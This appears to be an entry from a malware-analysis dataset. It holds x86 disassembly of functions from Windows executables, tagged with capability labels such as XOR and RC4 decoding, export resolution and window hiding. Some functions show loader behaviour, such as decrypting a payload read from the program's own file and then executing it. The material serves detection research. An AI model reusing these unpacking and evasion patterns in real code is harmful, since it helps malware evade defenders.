joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f89
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [eax], 0x57525900
add esp, 4
and edx, 0xfb1
sub edx, 0x179b8
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
or esi, 0xb1aa
jmp 0x407e96
or esi, 0x1f5f
and esi, 0xda50
pop esi
push ebx
call 0x407eb4
add byte [edx], dh
cmp eax, 0x35454b4c
dec eax
xor eax, 0xc4834843
add al, 0x5b
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407f16
push edi
and edi, 0xf50d
add edi, 0x89b5
and edi, 0x48a3
or edi, 0x1537c
pop edi
push edx
push edx
add esp, 4
or edx, 0x4bce
and edx, 0x1796d
and edx, 0xf67d
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x408601
push edi
call 0x407f26
add byte [ebx + 0x36], cl
xor al, 0x45
inc ebx
inc ecx
cmp dword [ecx + 0x42], eax
add esp, 4
or edi, 0x1e85
call 0x407f3f
add byte [edx], dh
dec esi
cmp dword [edi + 0x41], eax
cmp al, 0x4d
cmp eax, dword [edi + eax*2 - 0x7d]
les eax, [ebx + ebp*8]
add ecx, dword [eax + 0x3d]
inc edx
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push esi
add esp, 4
jmp 0x407f7a
call 0x407f89
add byte [edi + 0x3a], cl
cmp ecx, dword [esi + 0x41]
inc edx
aas
inc eax
push eax
add esp, 4
xor edx, 0x2187
call 0x407f9e
add byte [ebx], dh
inc ebp
dec esp
cmp cl, byte [ecx + 0x3c]
add esp, 4
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x407fba
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
and eax, 0x10d50
pop eax
push edx
push esi
add esp, 4
sub edx, 0xcff1
pop edx
push eax
call 0x407fee
add byte [ecx + 0x40], al
aaa
dec ecx
inc ebp
cmp eax, dword [ebx - 0x1f7efb3c]
in eax, 0x62
add byte [eax], al
jmp 0x407ffd
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x408016
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ebx
Function at 0x407f9e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [eax], 0x57525900
add esp, 4
and edx, 0xfb1
sub edx, 0x179b8
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
or esi, 0xb1aa
jmp 0x407e96
or esi, 0x1f5f
and esi, 0xda50
pop esi
push ebx
call 0x407eb4
add byte [edx], dh
cmp eax, 0x35454b4c
dec eax
xor eax, 0xc4834843
add al, 0x5b
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407f16
push edi
and edi, 0xf50d
add edi, 0x89b5
and edi, 0x48a3
or edi, 0x1537c
pop edi
push edx
push edx
add esp, 4
or edx, 0x4bce
and edx, 0x1796d
and edx, 0xf67d
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x408601
push edi
call 0x407f26
add byte [ebx + 0x36], cl
xor al, 0x45
inc ebx
inc ecx
cmp dword [ecx + 0x42], eax
add esp, 4
or edi, 0x1e85
call 0x407f3f
add byte [edx], dh
dec esi
cmp dword [edi + 0x41], eax
cmp al, 0x4d
cmp eax, dword [edi + eax*2 - 0x7d]
les eax, [ebx + ebp*8]
add ecx, dword [eax + 0x3d]
inc edx
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push esi
add esp, 4
jmp 0x407f7a
call 0x407f89
add byte [edi + 0x3a], cl
cmp ecx, dword [esi + 0x41]
inc edx
aas
inc eax
push eax
add esp, 4
xor edx, 0x2187
call 0x407f9e
add byte [ebx], dh
inc ebp
dec esp
cmp cl, byte [ecx + 0x3c]
add esp, 4
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x407fba
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
and eax, 0x10d50
pop eax
push edx
push esi
add esp, 4
sub edx, 0xcff1
pop edx
push eax
call 0x407fee
add byte [ecx + 0x40], al
aaa
dec ecx
inc ebp
cmp eax, dword [ebx - 0x1f7efb3c]
in eax, 0x62
add byte [eax], al
jmp 0x407ffd
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x408016
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ebx
Function at 0x407fee
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [eax], 0x57525900
add esp, 4
and edx, 0xfb1
sub edx, 0x179b8
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
or esi, 0xb1aa
jmp 0x407e96
or esi, 0x1f5f
and esi, 0xda50
pop esi
push ebx
call 0x407eb4
add byte [edx], dh
cmp eax, 0x35454b4c
dec eax
xor eax, 0xc4834843
add al, 0x5b
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407f16
push edi
and edi, 0xf50d
add edi, 0x89b5
and edi, 0x48a3
or edi, 0x1537c
pop edi
push edx
push edx
add esp, 4
or edx, 0x4bce
and edx, 0x1796d
and edx, 0xf67d
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x408601
push edi
call 0x407f26
add byte [ebx + 0x36], cl
xor al, 0x45
inc ebx
inc ecx
cmp dword [ecx + 0x42], eax
add esp, 4
or edi, 0x1e85
call 0x407f3f
add byte [edx], dh
dec esi
cmp dword [edi + 0x41], eax
cmp al, 0x4d
cmp eax, dword [edi + eax*2 - 0x7d]
les eax, [ebx + ebp*8]
add ecx, dword [eax + 0x3d]
inc edx
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push esi
add esp, 4
jmp 0x407f7a
call 0x407f89
add byte [edi + 0x3a], cl
cmp ecx, dword [esi + 0x41]
inc edx
aas
inc eax
push eax
add esp, 4
xor edx, 0x2187
call 0x407f9e
add byte [ebx], dh
inc ebp
dec esp
cmp cl, byte [ecx + 0x3c]
add esp, 4
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x407fba
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
and eax, 0x10d50
pop eax
push edx
push esi
add esp, 4
sub edx, 0xcff1
pop edx
push eax
call 0x407fee
add byte [ecx + 0x40], al
aaa
dec ecx
inc ebp
cmp eax, dword [ebx - 0x1f7efb3c]
in eax, 0x62
add byte [eax], al
jmp 0x407ffd
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x408016
mov dword [ebp - 0x2a8], 0
jmp 0x408261
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ebx

Function at 0x408024
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or ebx, 0x1861d
jmp 0x408032
add ebx, 0x1fc1
pop ebx
push ecx
sub ecx, 0xb946
call 0x408050
add byte [0x494a4c4c], bh
xor al, 0x44
dec edi
inc ebx
cmp al, 0x83
les eax, [ecx + ebx*2]
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
invalid
xchg ebp, eax
invalid

Function at 0x408030
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [ecx + eax*4 - 0x3d], ecx
rcr dword [edi], 0
add byte [ebx + 0x51], bl

Function at 0x408050
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or ebx, 0x1861d
jmp 0x408032
add ebx, 0x1fc1
pop ebx
push ecx
sub ecx, 0xb946
call 0x408050
add byte [0x494a4c4c], bh
xor al, 0x44
dec edi
inc ebx
cmp al, 0x83
les eax, [ecx + ebx*2]
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
invalid
xchg ebp, eax
invalid
Function at 0x408094
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or byte [eax], al
add byte [eax], al
add byte [eax + 0x3f], al
dec esi
dec edx
cmp byte [ebx + 0x47], al
add esp, 4
jmp 0x4080a9
and edi, 0x18079
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
add cl, byte [ecx - 0xc5f73]
jmp dword [esi - 0x75]
xchg ebp, eax
outsb dx, byte [esi]
invalid
invalid
jmp dword [esi - 0x77]
xchg ebp, eax
hlt
std
invalid
dec dword [ebx - 0xc637b]
jmp dword [esi - 0x75]
or byte [esi - 0x77], ah
lea ebp, [eax + esi*8 - 1]
dec dword [ebx - 0xc636b]
inc dword [ebx - 0x6a76fd3e]
pushfd
invalid
invalid
jmp dword [esi - 0x75]
test dword [eax + esi*8 - 1], ebp
jmp dword [esi - 0x77]
inc ebp
rcl byte [esi + 0x53], 0x83
les eax, [ecx + eax*4]
out dx, al
adc dword [ebx - 0x317f0000], ecx
pop edi
inc esp
add byte [eax], al

Function at 0x4080a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or byte [eax], al
add byte [eax], al
add byte [eax + 0x3f], al
dec esi
dec edx
cmp byte [ebx + 0x47], al
add esp, 4
jmp 0x4080a9
and edi, 0x18079
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
add cl, byte [ecx - 0xc5f73]
jmp dword [esi - 0x75]
xchg ebp, eax
outsb dx, byte [esi]
invalid
invalid
jmp dword [esi - 0x77]
xchg ebp, eax
hlt
std
invalid
dec dword [ebx - 0xc637b]
jmp dword [esi - 0x75]
or byte [esi - 0x77], ah
lea ebp, [eax + esi*8 - 1]
dec dword [ebx - 0xc636b]
inc dword [ebx - 0x6a76fd3e]
pushfd
invalid
invalid
jmp dword [esi - 0x75]
test dword [eax + esi*8 - 1], ebp
jmp dword [esi - 0x77]
inc ebp
rcl byte [esi + 0x53], 0x83
les eax, [ecx + eax*4]
out dx, al
adc dword [ebx - 0x317f0000], ecx
pop edi
inc esp
add byte [eax], al
Function at 0x40a348
Capabilities:
Encode data using xor

Disassembly:
inc eax
inc ecx
push edx
cmp dl, byte [edx + 0x53]
dec ebp
pop edi
push edi
in eax, dx
adc byte [0x41050505], al
dec eax
aaa
dec ebx
inc ebx
dec esi
dec ebp
cmp byte ds:[ecx - 0x78], cl
leave
or dword [esi + 0x63c86e7], eax
add eax, 0x1fd4cf86
push es
add eax, 0xee8be786
add eax, 0xc2885f05
xor dword [ecx], eax
add al, 4
add eax, 0x9a92137a
test esi, ebp
add al, 4
mov ds, word [edx + 0x404ffe1]
invalid

Function at 0x40bf54
Capabilities:
Execute syscall

Disassembly:
adc byte [0x43050505], al
aaa
dec eax
aaa
cmp al, 0x41
inc esi
push ebx
inc edx
push ebx
mov cl, cl
or dword [ebx + 0x5b], esp
push edi
mov cl, cl
or eax, esi
or byte [eax + 0x53], dl
dec edi
xchg bl, bh
cmp byte [edi], cl
push es
add eax, 0xf62dcb86
add eax, 0xbc146305
push edx
add dword [eax - 0x7194f812], ecx
push edx
add esp, ecx
mov cl, ch
add al, byte [esp + eax]
or eax, 0xf0050505
imul edi, dword [edi + 0x5050507], 0x9005e7c6
dec edx
in eax, dx
adc al, 0xbc
adc dword [0x7a7dfe88], edx
push ebp
nop
pop edx
in eax, dx
mov bh, al
or dword [esi - 0x79a712a6], ecx
call 0x5464d71
invalid
pushal
pop ebx
in eax, dx
syscall
add eax, 0x53490505
dec edi
inc esi
inc ebp
cmp byte [ebx], bh
push edx
dec edx
mov cl, cl
or ebp, ebp
or eax, 0x5050505
cmp dword [edx + 0x51], eax
dec ebp
cmp eax, 0xc9883e48
or dword [esi + 0x509d4f3], eax
add eax, 0x4abc1463
add dword [eax - 0x7194f813], ecx
dec edx
add esp, ecx
mov cl, ch
add al, byte [esp + eax]
adc eax, 0xf0050505
push 0xffffffffffffff88
ret 0x2cd

Function at 0x41fa84
Capabilities:
Encode data using xor

Disassembly:
pop edi
push edi
push esi
mov cl, cl
or dword [esi + 0x5e6a2f7], eax
add eax, 0xc19a925f
out dx, al
add al, 4
mov ds, word [edx + 0x404f591]
nop
mov al, byte [ecx]
add al, 4
nop
dec ebp
xor eax, 0xf595928e
add al, 4
cmp bh, dl
imul ecx, dword [esi + 0x403199a], 4
cmp ch, al
imul ecx, dword [esi + 0x404818a], 4
pop esp
xchg ah, dh
xlatb
cmp al, byte [esi]
add eax, 0x7b0fec86
add eax, 0xd6fc8605
cld
add eax, 0x480cf005
dec edi
inc eax
aas
inc esp
dec ebx
push esi
pop ebx
mov cl, cl
or eax, esi
or al, 0x52
inc esi
push esp
dec edx
inc ebx
inc ecx
xchg dh, ch
inc edx
and al, 6
add eax, 0x9592905e
cmc
add al, 4
imul edx, dword [eax - 0x657194ea], 5
stc
add al, 4
nop
mov dl, byte [ebp - 0x77fbfb0b]
lds eax, [edi]
mov cs, word [edx + 0x404f595]
imul edx, dword [eax + 0x4f90592], 4
imul ecx, dword [esi + 0x4031992], 4
nop
lcall 0x906b, 0x404f591
pop es
imul ecx, dword [esi + 0x4f8038a], 4
nop
xchg edx, eax
xchg ecx, eax
cmc
add al, 4
mov dh, al
pop es
mov ss, word [edx + 0x404f591]
imul edx, dword [eax + 0x4f8039a], 4
imul ecx, dword [esi + 0x404819a], 4
pop eax
xchg al, dh
les ebx, [ebx]
push es
add eax, 0x6e9ad086
push es
add eax, 0x88555860
leave
or dword [esi + 0x61c81e8], eax
add eax, 0x6f29c886
push es
add eax, 0x88565660
leave
or dword [esi + 0x59417c6], eax
add eax, 0x5472ee86
push es
add eax, 0x8abc145e
add dword [esp + eax], 0x7ac58a04
sbb eax, 0x1992bc14
add eax, dword [esp + eax]
adc al, 0xbc
lcall 0xcf30, 0x4040481
mov ss, word [edx + 0x404f081]
xchg edx, eax
invalid
invalid
add al, 4
invalid
Function at 0x42fb24
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42fb2a
ret

Function at 0x481afc
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
xor edx, edx
mov dword [eax + 0x14], edx
xor edx, edx
mov dword [eax + 0x18], edx
ret

Function at 0x489114
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
lea edi, [ebp - 0xd]
mov bl, 1
mov eax, dword [ebp + 8]
mov esi, dword [eax - 0x18]
dec esi
test esi, esi
jl 0x4892c4
inc esi
mov eax, dword [ebp + 8]
push eax
mov eax, edi
mov edx, 5
call fcn.00487d28
pop ecx
test al, al
jne 0x48915b
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004893f8
xor ebx, ebx
jmp 0x4892c4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x20]
cmp eax, dword [edi]
ja 0x489179
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 2
call fcn.004893f8
xor ebx, ebx
jmp 0x4892c4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x34]
mov eax, dword [eax + 4]
mov edx, dword [edi]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x3c]
call fcn.004a008c
test eax, eax
jne 0x4891b0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 2
call fcn.004893f8
xor ebx, ebx
jmp 0x4892c4
test byte [edi + 4], 1
je 0x4892bd
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 4]
mov edx, 4
call fcn.00487d28
pop ecx
test al, al
jne 0x4891e4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004893f8
xor ebx, ebx
jmp 0x4892c4
mov edx, dword [0x485360]
mov eax, 0xc
call fcn.0040766c
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x48928f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
call fcn.00405d30
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
call fcn.00405ac4
mov edx, dword [ebp - 4]
call fcn.00487d28
pop ecx
test al, al
jne 0x489252
mov edx, dword [0x485360]
mov eax, dword [ebp - 8]
call fcn.00407680
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004893f8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4892c4
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00482a28
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x3c]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x30]
mov edx, dword [ebp - 8]
call fcn.00482e40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4892bd
dec esi
jne 0x489132
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4ab400
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x50b43c
mov eax, esi
mov edx, 8
test al, 1
je 0x4ab41c
shr eax, 1
xor eax, 0xedb88320
jmp 0x4ab41e
shr eax, 1
dec edx
jne 0x4ab40f
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4ab408
pop esi
ret

Function at 0x4ab44b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x50b438], 0
jne 0x4ab457
call fcn.004ab400
push 1
push 0x50b438
call fcn.00409530
mov eax, edi
test esi, esi
je 0x4ab482
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x50b43c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4ab45d
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x4abfec
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
ret
Function at 0x4bf530
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffd4c
mov ebx, edx
mov esi, eax
push 0x200
push 0x2b4
lea eax, [esp + 8]
push eax
push 0
mov eax, esi
call fcn.004064d4
push eax
call sub.shell32.dll_SHGetFileInfoW
test eax, eax
je 0x4bf570
mov eax, ebx
lea edx, [esp + 0xc]
mov ecx, 0x104
call fcn.00406640
jmp 0x4bf579
mov eax, ebx
xor edx, edx
call fcn.00406448
add esp, 0x2b4
pop esi
pop ebx
ret

Function at 0x4bf584
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffd4c
mov ebx, edx
mov esi, eax
movzx eax, bl
mov eax, dword [eax*4 + 0x5043b4]
or eax, 0x4001
push eax
push 0x2b4
lea eax, [esp + 8]
push eax
push 0
mov eax, esi
call fcn.004064d4
push eax
call sub.shell32.dll_SHGetFileInfoW
test eax, eax
je 0x4bf5c3
mov eax, dword [esp + 4]
jmp 0x4bf5c5
xor eax, eax
add esp, 0x2b4
pop esi
pop ebx
ret

Function at 0x4bf5d0
Capabilities:
Get file system object information

Disassembly:
push ebx
add esp, 0xfffffd4c
mov ebx, eax
movzx eax, bl
mov eax, dword [eax*4 + 0x5043bc]
or eax, 0x4011
push eax
push 0x2b4
lea eax, [esp + 8]
push eax
push 0x10
push 0x4bf614
call sub.shell32.dll_SHGetFileInfoW
test eax, eax
je 0x4bf609
mov eax, dword [esp + 4]
jmp 0x4bf60b
xor eax, eax
add esp, 0x2b4
pop ebx
ret

Function at 0x4bf5f3
Capabilities:
Get file system object information

Disassembly:
push ebx
add esp, 0xfffffd4c
mov ebx, eax
movzx eax, bl
mov eax, dword [eax*4 + 0x5043bc]
or eax, 0x4011
push eax
push 0x2b4
lea eax, [esp + 8]
push eax
push 0x10
push 0x4bf614
call sub.shell32.dll_SHGetFileInfoW
test eax, eax
je 0x4bf609
mov eax, dword [esp + 4]
jmp 0x4bf60b
xor eax, eax
add esp, 0x2b4
pop ebx
ret
Function at 0x4e45bc
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, 3
lea ebx, [ebp - 8]
lea esi, [ebp - 0xc]
lea edi, [ebp - 4]
movzx eax, byte [esi]
movzx edx, byte [ebx]
sub eax, edx
imul dword [ebp - 0x10]
push ecx
mov ecx, 0xff
cdq
idiv ecx
pop ecx
movzx edx, byte [ebx]
add eax, edx
mov byte [edi], al
inc edi
inc esi
inc ebx
dec ecx
jne 0x4e45e1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
xor eax, eax
mov byte [eax + 0x416b78], al
inc eax
cmp eax, 0x100
jne 0x401002
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
xor ecx, ecx
push edi
mov edi, dword [esp + 0x18]
mov dword [0x415f64], esi
mov dword [0x41636c], ecx
lea esp, [esp]
xor edx, edx
mov eax, ecx
div edi
mov bl, byte [ecx + 0x416b78]
inc ecx
movsx eax, byte [edx + ebp]
add eax, esi
movzx edx, bl
add edx, eax
and edx, 0xff
mov esi, edx
mov al, byte [esi + 0x416b78]
mov byte [ecx + 0x416b77], al
mov dword [0x415f64], esi
mov byte [0x416374], bl
mov byte [esi + 0x416b78], bl
mov dword [0x41636c], ecx
cmp ecx, 0x100
jne 0x401030
pop edi
pop esi
xor eax, eax
pop ebp
mov dword [0x415f64], eax
mov dword [0x41636c], eax
pop ebx
ret 8

Function at 0x401090
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x415f68
push 0x416778
push 0
mov dword [0x416368], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x415f60], eax
test eax, eax
jne 0x4010d1
ret 8
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x415f60]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
ret 8
Function at 0x401100
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push str.ioPOdopsCE
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0x400
push 0x416378
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push 0x416378
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x14
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor esi, esi
xor edi, edi
lea ecx, [ecx]
cmp dword [ebp - 0x24], 0xe
je 0x40117c
cmp dword [ebp - 0x1c], 4
jne 0x401181
mov edi, 0x6f
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x1388
jbe 0x401197
cmp dword [ebp - 4], 0
je 0x4011a1
push 0x18
call ebx
inc esi
cmp edi, 0x6f
jne 0x401170
push 0xf55c8
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
lea edx, [ebp - 8]
push edx
mov edi, eax
mov eax, dword [ebp - 0x10]
push 0xf4240
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [str.pakuAu72nBa3o]
cmp byte [ecx], 0
mov eax, ecx
je 0x4011d9
inc eax
cmp byte [eax], 0
jne 0x4011d3
sub eax, ecx
push eax
push ecx
call fcn.00401000
add edi, 0x1c00
mov esi, 0xaae60
mov eax, dword [0x41636c]
inc eax
and eax, 0xff
movzx ecx, byte [eax + 0x416b78]
add ecx, dword [0x415f64]
push 0x4021c4
push 0
and ecx, 0xff
push 2
mov dword [0x41636c], eax
mov dword [0x415f64], ecx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov eax, dword [0x415f64]
mov edx, dword [0x41636c]
mov bl, byte [edx + 0x416b78]
mov cl, byte [eax + 0x416b78]
mov byte [eax + 0x416b78], bl
mov byte [edx + 0x416b78], cl
movzx edx, byte [eax + 0x416b78]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
mov byte [0x416375], cl
jns 0x40126a
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [edx + 0x416b78]
mov byte [0x416c78], al
xor byte [esi + edi], al
dec esi
test esi, esi
jg 0x4011ed
mov dword [ebp - 0x10], edi
call dword [ebp - 0x10]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401330
Capabilities:
Terminate process

Disassembly:
push edi
mov edi, dword [esp + 0x14]
cmp edi, 0x16d1067
jne 0x401345
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
jmp 0x401350
movzx ecx, word [eax + str.Mkldi__uie_oxc]
mov word [eax + 0x416778], cx
add eax, 2
test cx, cx
jne 0x401350
xor eax, eax
jmp 0x401370
movzx ecx, word [eax + str.cmiIE]
mov word [eax + 0x415f68], cx
add eax, 2
test cx, cx
jne 0x401370
push esi
mov esi, dword [esp + 0xc]
push esi
call fcn.004012a0
push edi
push esi
call fcn.00401090
pop esi
test eax, eax
jne 0x4013b3
push 0x23e
push 0x415f68
push 1
push 0x9d
call fcn.00401100
xor eax, eax
pop edi
ret 0x10
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x6cbf1c0b
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x4550694d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219